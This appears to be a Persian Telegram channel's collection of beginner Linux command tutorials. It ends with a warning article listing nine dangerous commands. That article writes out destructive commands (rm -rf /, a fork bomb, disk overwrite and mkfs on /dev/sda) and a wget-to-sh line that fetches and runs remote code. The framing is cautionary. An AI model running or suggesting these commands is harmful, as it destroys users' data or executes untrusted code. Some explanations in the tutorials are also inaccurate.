Linux & OpenSource
1.8K subscribers
593 photos
29 videos
49 files
926 links
اینجا از علاقمندی هام پست میزارم : )
لینوکس - بلاکچین - هوش مصنوعی - تازه های تکنولوژی
و گاهی پست های غیرمرتبط
Download Telegram
Forwarded from Deleted Account
@uselinux
#low level
🙂😳😌
دیدن لوگوی توزیع لینوکسی و اطلاعات خلاصه از سیستم
💥🌺❤️
با برنامه screenfetch اینکار براحتی امکان پذیره
برای نصب در اوبونتو/دبیان بیس ها :
sudo apt-get install screenfetch
اگر بهرعلتی (قدیمی یا جدید بودن توزیع) در مخزن موجود نبود از مخازن ppa استفاده کنید بصورت زیر

sudo apt-add-repository ppa:djcj/screenfetch
sudo apt-get update
sudo apt-get install screenfetch
در آرچ بیس ها :
sudo pacman -S screenfetch
در فدورا/ردهت بیس ها :
sudo dnf install screenfetch
و بعد از اینکه نصب تموم شد . با تایپ کردن نام نرم افزار
اونو اجرا کنید . اینجوری :
screenfetch
برای دیدن لوگوی سایر توزیع ها در ترمینال توزیع خود از برنامه Linux_Logo میتونید استفاده کنید:
نحوه نصب در دبیان/اوبونتو بیس ها :
sudo apt-get install linuxlogo
نحوه نصب در آرچ بیس ها:
sudo pacman -S linux_logo
نحوه نصب در فدورا بیس ها:
sudo dnf install linux_logo
حالا برای دیدن لیست توزیع هایی که لوگوی آنها در این برنامه موجود است عبارت زیر در ترمینال تایپ میکنیم:
linux_logo -L list
بعدش با شماره ای که اسم توزیع در مقابلش نوشته شده اونو ران
میکنیم مثال :
linux_logo -L 25

@uselinux
#low level
Forwarded from Deleted Account
Forwarded from Deleted Account
Forwarded from Deleted Account
لیستی از پرکاربرد ترین دستورات لینوکس
Forwarded from Deleted Account
💥💥💥
با آموزش های خط فرمان و اسکریپت نویسی شل در خدمت عزیزان هستیم .
قسمت ۱
🌟دستور ls و پرامتر های آن🌟
این دستور در دایرکتوری ای که هستین فایل ها و فولدر های موجود رو براتون لیست میکنه
اگر به این دستور یک F- اضافه کنید فولدر ها در آخرشون علامت اسلش قرار میگیره و از فایل ها جدا میشن (این برای زمانی خوبه که خط فرمان رنگی ندارید)
ls -F
اگر یک R- به این دستور اضافه کنید بطور بازگشتی کل فایل های موجود در دایرکتوری هم نشون داده میشن و دستور خطرناکی میتونه باشه اگر تعداد فایل های شما خیلی زیاد باشه
ls -R
لازم به ذکر هست که چند تا پارامتر رو میتونید همزمان بکار ببرید :
ls -F -R
Forwarded from Deleted Account
دستور touch و cd💥💥💥

برای ایجاد فایل در خط فرمان از دستور touch استفاده میشود
مثلا
touch index.html
touch index.txt
البته توجه داشته باشید که در هر دایرکتوری ای که باشید . فایل در آن ایجاد خواهد شد
برای تغییر دایرکتوری از دستور cd استفاده میشود
در هنگام تغییر دایرکتوری به اسلش دقت کنید
cd /bin
cd Desktop/
تفاوت این دو دستور در این است که وقتی / اول اسم بیاید یعنی دایرکتوری در روت قرار دارد و وقتی در آخر آن می آید یعنی دایرکتوری در داخل دایرکتوری جاری است
Forwarded from Deleted Account
💥💥💥💥دستور cp و mv
برای کپی کردن یک فایل از دستور cp استفاده میشود
@uselinux
cp in.txt ty.txt
در این مثال فایل in.txt در داخل ty.txt کپی میشود
شما حتی میتوانید فایل های صوتی و تصویری را نیز به این روش و با اسم دلخواه در دایرکتوری دلخواه کپی کنید
///////////////////////////////
@uselinux
برای عوض کردن نام فایل mv استفاده میشود که مخفف move میباشد
در واقع هربار که ما فایلی را تغییر نام میدهیم آن در فایل جدیدی ساخته میشود با اسم جدید !
@uselinux
(این قاعده در تمام سیستم عامل ها (ویندوز/لینوکس/مک) اتفاق می افتد و نکته جالبی که وجود دارد این است که اینکار انقدر با سرعت و در پس زمینه سیستم عامل انجام میشود که با چشم قابل تشخیص نیست
mv vr.mp4 vr5.mp4
@uselinux
Forwarded from Deleted Account
برنامه Franz .. برای اجرای مسنجر ها در دسکتاپ . برنامه ای مستقل از سیستم عامل . و قابل حمل
Forwarded from Deleted Account
Franz-linux-x64-3.1.0.tgz
46.2 MB
برای لینوکس . ۶۴ بیت(دبیان بیس ها)
Forwarded from Deleted Account
دستور ps . یا همون پروسس💥💥💥
@uselinux
با این دستور میتونید پروسه ها و برنامه هایی ک اجرا میشن یا اجرا شدن از زمان بالا اومدن سیستم عامل رو ببینید
@uselinux
با تایپ دستور پایین
ps
میبینید ک چیز خاصی نمایش نمیده . فقط پروسس های جاری و مربوط به این یوزر که با اون لاگین شدین رو نمایش میده
@uselinux
برای نمایش کامل از دستور
ps -A
استفاده کنید
برای اینکه بدونید هر پروسه از چ قسمتی و با چ یوزری درحال اجراست
@uselinux
از دستور ترکیبی
ps -ef
استفاده میشه .
موفق باشید:)
@uselinux
Forwarded from Deleted Account
دستور kill 💥💥💥💥
شاید نیاز باشه بعضی از پروسه هارو ببندیم و از دور خارج کنیم . بخاطر مصرف نشدن زیاد منابع .
@uselinux
و یا اشغال کردن پورت خاص
برای این منظور بعد از اینکه با دستور و پرامتر های ps .. پروسه هارو مشاهده کردیم . و PID اونارو دیدیم . .میتونیم با دستور kill اونهارو ببندیم
kill 4638

@uselinux
البته فراموش نکنید که پروسه های مهم سیستمی از جمله دسکتاپ رو نبندید
@uselinux
برای بستن پروسه هایی که از کاربر root درحال اجرا هستن باید قبلش دستور sudo رو وارد کنیم

sudo kill 5745

@uselinux
Forwarded from Deleted Account
💥💥💥
یه نکته دیگه که فراموش کردم
پید (PID) مخفف:
PID : The process ID of the process
هست . هر پروسه . با آیدی منحصر به فردی درحال اجراست .
موفق باشید
@uselinux
Forwarded from Deleted Account
دستور df و du💥💥💥
@uselinux
با دستور df میتونید سایز پارتیشن های مونت شده رو به درصد همراه با اطلاعات اصلی اونها ببینید
@uselinux
دستور du تمام فایل های دایرکتوری جاری رو به نمایش میگذاره و براتون لیست میکنه . حتی فایل هایی که مخفی هستن(با علامت نقطه در اول اونها)
میتونید دایرکتوری و مسیری دلخواه براش تعیین کنید
du /
موفق باشید.
@uselinux
Forwarded from Deleted Account
دستورات کمپرس کردن فایل ها و دایرکتوری ها💥💥💥💥
برای فشرده کردن فایل ها در لینوکس از دستورات مختلفی میتوان استفاده کرد
@uselinux
از جمله برای zipکردن میتوانید این دستور را بکار ببرید
zip folder.zip folder/
ما با دستور بالا .. دایرکتوری folder را فشرده کردیم .. میتوانید نام دلخواه هم برای آن انتخاب کنید ..
@uselinux
برای زیپ کردن دایرکتوری pic که مثلا در دایرکتوری با آدرس زیر قرار دارد
/home/you/pics/
میتوانید از دستور پایین
zip -r myvacationpics.zip /home/you/pics/
استفاده کنید.. آرگومان r ..بطور بازگشتی این عمل را انجام میدهد..
@uselinux
و همینطور نامی که برای آن انتخاب کردیم دلخواه است
@uselinux
Forwarded from Deleted Account
Linux_All_in_One for dumies.pdf
20 MB
کتابی کامل برای لینوکس.. از دستش ندید😊❤️
نه فرمان خطرناک لینوکس که هرگز نباید اجرا شوند!
لینوکس سیستم‌عامل محبوبی است. در حالی که سیستم‌عامل ویندوز این روزها از سوی بسیاری از کاربران مورد استفاده قرار می‌گیرد، اما کم نیستند کاربرانی که ترجیح می‌دهند از لینوکس استفاده کنند. لینوکس طیف گسترده‌ای از فرمان‌های مفید را در اختیار کاربران قرار می‌دهد، با این حال، تعدادی از این دستورات خطرناک هستند. به‌طور مثال، اگر نه فرمانی که در ادامه با آن‌ها آشنا خواهید شد را اجرا کنید، آسیب‌پذیری جبران‌ناپذیری به کامپیوترتان وارد خواهد شد.

اکثر فرمان‌های لینوکس مفید و کاربردی هستند، اما این دستورات موضوع مقاله ما نیستند. ما در این مقاله در مجموع نه مورد از دستورات لینوکس که باعث از کارافتادگی هر کامپیوتری می‌شوند را برای شما فهرست کرده‌ایم. دستوراتی که اجرای آن‌ها مشکلات متعددی را برای شما به همراه خواهند آورد.

1. rm –rf

فرمان rm –rf / هر چیزی را حذف می‌کند، به طوری که نه فقط فایل‌های روی هارددیسک، بلکه فایل‌هایی که روی یک رسانه قابل حمل متصل به کامپیوتر وجود داشته باشد را نیز حذف می‌کند.

2. () {: |: &} ;:

‌() {: |: &} ;: به نام بمب‌ فورک (Fork Bomb) نیز شناخته می‌شوند. بمب فورک نه تنها زمان پردازنده مرکزی را مورد استفاده قرار می‌دهد بلکه جدول فرآیندهای سیستم‌عامل را به طور کامل سرریز می‌کند، به‌طوری که در نهایت باعث به وجود آمدن یک حمله انکار سرویس روی یک سیستم لینوکسی شده و اینکار را تا وقتی که سیستم به طور کامل فریز شده و از دسترس خارج شود، ادامه می‌دهد.

3. command > dev / sda

این فرمان داده‌های خامی را تولید کرده و تمامی فایل‌های درون یک بلوک را با داده‌های خام رونویسی می‌کند. در نتیجه حجم قابل توجهی از داده‌ها در یک بلوک از دست می‌روند.

4. mv directory / dev /null

این فرمان همه اطلاعات شخصی شما را به درون یک حفره سیاه ارسال می‌کند، به این معنی که داده‌ها شما برای همیشه از دست خواهند رفت.

5. wget http: // malicious_source –O | sh

خط بالا اسکریپتی را از وب دانلود کرده و آن‌را برای sh ارسال می‌کند. این‌کار باعث اجرای محتوای درون اسکریپت می‌شود. اجرای اسکرپیت‌هایی که از اینترنت دانلود می‌شوند، همیشه خطرناک است. به دلیل این‌که در اکثر موارد اسکرپیت‌ها غیر قابل اعتماد هستند. در نتیجه سعی کنید تا حد امکان از این دستور برای همیشه دوری کنید.

6. mkfs.ex3 / dev / sda

این دستور را می‌توانید معادل فرمت کردن پارتیشن C در سیستم‌عامل ویندوز در نظر بگیرید. به‌طوری که دیگر هرگز به داده‌های خود دست پیدا نخواهید کرد. به این شکل سیستم شما تبدیل به یک دستگاه غیر قابل مصرف می‌شود.

7. > File

این فرمان برای پاک کردن محتوای فایل‌ها مورد استفاده قرار می‌گیرد. اگر دستور بالا همراه با ترکیبی شبیه به > xt.conf اجرا شود، فایل پیکربندی یا هرگونه فایل پیکربندی سیستمی را رونویسی خواهد کرد.

8. ^foo^bar

این فرمان به خطرناکی دستوراتی نیست که به آن‌ها اشاره کردیم. این فرمان به منظور ویرایش فرمانی که قبلا اجرا شده است بدون آن‌که نیازی به تایپ مجدد فرمان ضرورتی داشته باشد مورد استفاده قرار می‌گیرد. در یک وضعیت اشتباه، این دستور به شکل مفرطی باعث وارد شدن آسیب‌های جبران‌ناپذیری می‌شود. به ویژه اگر دستوری که قبلا اجرا شده است را چک نکرده باشید، ^foo^bar می‌تواند خطرناک باشد.

9. Decompression Bomb

زمانی که از شما درخواست می‌شود تا یک فایل فشرده‌شده را باز کنید، محتوای فایل ممکن است به شدت فشرده شده باشد. زمانی که یک فایل را از حالت فشرده خارج می‌کنید، صدها گیگابایت داده استخراج می‌شوند که می‌توانند هارددیسک شما را پر کرده و به این شکل کارایی سیستم شما را پایین آورند. در نتیجه سعی کنید از اینکار اجتناب کنید.

اکنون که با این دستورات آشنا شدید، به خوبی می‌توانید از اجرای این دستورات ممانعت به عمل آورید.
Forwarded from Deleted Account
BiDirectional :)))